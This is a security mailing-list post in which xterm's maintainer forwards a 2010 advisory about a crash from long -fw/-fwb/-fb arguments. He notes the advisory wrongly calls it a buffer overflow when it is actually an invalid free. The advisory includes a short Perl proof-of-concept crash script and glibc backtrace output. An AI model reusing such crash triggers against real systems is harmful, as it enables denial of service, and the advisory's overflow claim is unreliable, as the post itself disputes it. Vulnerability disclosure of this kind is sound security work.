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[SecurityArchitect-008]: Xterm Local Buffer Overflow Vulnerability (fwd)
From: Thomas Dickey <dickey () his com>
Date: Wed, 13 Oct 2010 20:05:13 -0400 (EDT)



The report is inaccurate (not a buffer overflow, but freeing unallocated memory). For reference, this is Debian #600129 in xterm's changelog.

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Subject: [Full-disclosure] [SecurityArchitect-008]: Xterm Local Buffer Overflow
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   Wed Sep 1 15:24:30 BST 2010

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Product: Xterm
Vulnerability: Buffer Overflow (heap-based)
Credits: Celil Ünüver from SecurityArchitect.Org
Tested on: Ubuntu 10.04 and xterm(256) version
Details:
Xterm's "-fw , -fwb , -fb" command line options causes an overflow while writin
g long argument..
PoC:
# Contact: www.securityarchitect.org
$file = "A" x 500;
$print = "xterm -fw $file";
system $print;
Results:
pc at ubuntu:~/Masaüstü$ perl xterm.pl*** glibc detected *** xterm: munmap_chun
k(): invalid pointer: 0x09f593a4 ***======= Backtrace: =========/lib/tls/i686/c
mov/libc.so.6(+0x6b591)[0x2fd591]/lib/tls/i686/cmov/libc.so.6(+0x6c80e)[0x2fe80
e]
Greets: hellcode
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